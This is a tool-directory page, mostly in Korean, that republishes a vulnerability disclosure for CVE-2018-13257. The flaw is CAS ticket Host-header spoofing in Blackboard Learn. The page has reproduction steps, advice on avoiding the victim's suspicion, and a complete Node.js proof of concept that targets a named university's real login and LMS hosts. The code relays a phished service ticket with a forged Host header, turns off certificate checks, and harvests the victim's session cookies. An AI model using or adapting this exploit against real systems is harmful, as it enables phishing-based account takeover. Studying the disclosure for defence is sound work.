Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-13257 | Kitploit
도구/GitHubGitHub/gluxon/cve-2018-13257
Web Application ExploitationPhishingPenetration TestingSocial EngineeringAuthenticationRed Teaming
GitHubgluxon/cve-2018-13257

CVE-2018-13257

저장소 보기
117년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Blackboard Learn CAS 티켓 호스트 헤더 스푸핑

Blackboard Learn의 인증 모듈은 중앙 인증 서비스(CAS) 서비스 티켓 검증 중 HTTP 호스트 헤더 스푸핑에 취약합니다. CAS 서비스 티켓은 특정 서비스만을 위해 사용되어야 하지만, Blackboard Learn은 이 서비스가 현재 인스턴스인지 제대로 확인하지 않습니다. 이로 인해 사용자가 특정 웹사이트에 대해 자신의 SSO(단일 로그인) 정보를 입력하고 있다고 생각하지만, 악성 웹사이트가 대신 서비스 티켓을 사용하여 해당 사용자로 Blackboard Learn 인스턴스에 인증하는 피싱 공격이 가능해집니다.

요구 사항

  • Blackboard Learn 인스턴스가 CAS로 인증하도록 구성되어 있어야 합니다.
  • 동일한 CAS 서버로 인증하도록 악성 웹사이트가 설정되어 있어야 합니다.

재현 단계

공격자는 blackboard.example에 있는 Blackboard Learn 인스턴스에 다른 사용자로 인증하기 위해 attacker.example를 설정합니다. 이 인스턴스는 cas.example를 통해 서비스 티켓을 검증합니다.

사용자가 attacker.example를 방문할 때 다음 이벤트가 발생합니다.

  1. 사용자는 기관의 CAS 로그인 페이지로 리디렉션됩니다: https://cas.example/cas/login?service=https%3A%2F%2Fattacker.example%2Fwebapps%2Fbb-auth-provider-cas-BB5849b9bae4172%2Fexecute%2FcasLogin%3Fcmd%3Dlogin%26authProviderId%3D_102_1%26redirectUrl%3Dhttps%253A%252F%252Fblackboard.example%252Fwebapps%252Fportal%252Fexecute%252FdefaultTab%26globalLogoutEnabled%3Dtrue&renew=true
  2. 이제 사용자는 cas.example에 로그인 페이지를 보게 됩니다. 이는 신뢰할 수 있는 도메인에 있는 기관의 표준 로그인 화면이므로 사용자는 대부분 이를 신뢰할 것입니다. 로그인 페이지에는 attacker.example에 인증 중이라고 표시됩니다.
  3. 로그인 후 사용자는 다시 attacker.example로 리디렉션됩니다: https://attacker.example/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.example
  4. 백엔드에서 attacker.example는 이전 단계에서 가져온 서비스 티켓 ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.example을 사용하여 blackboard.example에 HTTP GET 요청을 수행합니다. GET 요청은 호스트 헤더가 attacker.example인 blackboard.example에 접근합니다: https://attacker.example//webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=https%3A%2F%2Fblackboard.example%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true&ticket=ST-94783-BFdVJYDvsbi2HR0gXvy6-cas.example
  5. blackboard.example는 대상 사용자를 Blackboard Learn 인스턴스에 인증하는 쿠키로 attacker.example 백엔드에 응답합니다.

만약 attacker.example가 기관의 개인이 정기적으로 신뢰하는 웹사이트(예: 기관 홈페이지)인 경우, 해당 웹사이트가 손상되면 기관의 Blackboard Learn 인스턴스도 이 취약점으로 인해 상당히 손상될 수 있습니다.

의심을 피하기 위해, attacker.example는 5단계 후에 사용자를 sso.example 로그인 페이지로 다시 리디렉션하고, 그곳에서 attacker.example가 의도한 업무를 수행할 수 있습니다. 사용자는 "로그인"을 두 번 눌러야 한다는 것을 알겠지만, 리디렉션이 충분히 빨리 일어나서 사용자가 로그인 페이지를 떠났다가 돌아왔는지 확신할 수 없습니다.

CVE-2017-18262와의 관계

CVE-2017-18262는 이 취약점과 다릅니다. CVE-2017-18262는 redirectTo 검증의 취약점입니다. 이 취약점은 검증 로그인 엔드포인트로 전송되는 service URL 매개변수의 결함과 관련됩니다.

CVE-2017-18262를 사용하여 자격 증명을 피싱하려면 cas.example의 모양을 모방하는 피싱 로그인을 설정해야 합니다. 이 취약점은 cas.example에서 직접 발생하지만, 사용자가 처음에 attacker.example를 방문해야 합니다.

테스트

이는 lms.uconn.edu에서 brc15007을 스푸핑된 사용자로 테스트되었습니다. lms.uconn.edu는 Blackboard Inc.에서 관리하며 Amazon Web Services에 호스팅된 Blackboard Learn 인스턴스입니다.

POC

index.js

root@kitploit:~
const crypto = require('crypto')
const Koa = require('koa')
const session = require('koa-session')
const FakeCas = require('./lib/fake-cas')
// The koa-basic-auth module is used purely to protect this POC from being used
// by unauthorized test users.
const auth = require('koa-basic-auth')

const CAS_SERVER = 'https://login.uconn.edu'
const BLACKBOARD_INSTANCE = 'https://lms.uconn.edu'
const VULNERABLE_ENDPOINT = `/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=${encodeURIComponent(BLACKBOARD_INSTANCE)}%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true`

const POC_APP_USERNAME = 'i-accept-that-my-login-will-be-spoofed-for-testing'
const POC_APP_PASSWORD = 'fH71FnffjycEtMLdqd2zCAwavDzW8HdCaayHrQ4E'

const app = new Koa()

app.keys = [crypto.randomBytes(256)]
app.use(session(app))

app.use(auth({ name: POC_APP_USERNAME, pass: POC_APP_PASSWORD }))

const cas = FakeCas({
  service: ctx => `https://${ctx.host}${VULNERABLE_ENDPOINT}`,
  server: CAS_SERVER
})

app.use(cas.fakeCredentialRequestor({
  attackUrl: ticket =>
    BLACKBOARD_INSTANCE +
    VULNERABLE_ENDPOINT +
    '&ticket=' + ticket
}))

app.use(async ctx => {
  ctx.body = `If I was a bad person, I would use the following cookies to login as you into ${BLACKBOARD_INSTANCE}.\n\n` +
    ctx.session.cookieString
  ctx.session = null
})

app.listen(3000)

lib/fake-cas.js

root@kitploit:~
const https = require('https')
const fetch = require('isomorphic-fetch')

function createCASMiddleware (options = {}) {
  const server = options.server
  const service = options.service
  const loginUrl = options.login || '/cas/login'

  function fakeCredentialRequestor ({ attackUrl }) {
    return async (ctx, next) => {
      if (!ctx.session.cookieString && !ctx.request.query.ticket) {
        const returnUrl = encodeURIComponent(service(ctx))
        ctx.redirect(
          server + loginUrl +
          '?service=' + returnUrl +
          '&renew=true')
        return
      }

      if (ctx.request.query.ticket) {
        const attack = attackUrl(ctx.request.query.ticket)
        const res = await fetch(attack, {
          headers: { 'host': ctx.request.host },
          // rejectUnauthorized is required since we're spoofing the host
          // header and ctx.request.host liekly won't be in the endpoint's HTTPS
          // certificate.
          agent: new https.Agent({ rejectUnauthorized: false })
        })

        const cookieString = res.headers._headers['set-cookie']
          .map(cookie => cookie.match(/^(.*?);/)[1])
          .map(cookie => `document.cookie = '${cookie}'`)
          .join('\n')

        ctx.session.cookieString = cookieString
        console.log(cookieString)

        ctx.status = 308
        ctx.redirect('/')
        return
      }

      await next()
    }
  }

  return { fakeCredentialRequestor }
}

module.exports = createCASMiddleware

package.json

root@kitploit:~
{
  "private": true,
  "main": "index.js",
  "scripts": {
    "dev": "nodemon index"
  },
  "devDependencies": {
    "nodemon": "^1.17.5",
    "standard": "^11.0.1"
  },
  "dependencies": {
    "isomorphic-fetch": "^2.2.1",
    "koa": "^2.5.1",
    "koa-basic-auth": "^3.0.0",
    "koa-session": "^5.8.1",
    "query-string": "^5.0.1",
    "xml2js": "^0.4.19"
  }
}
도구 다운로드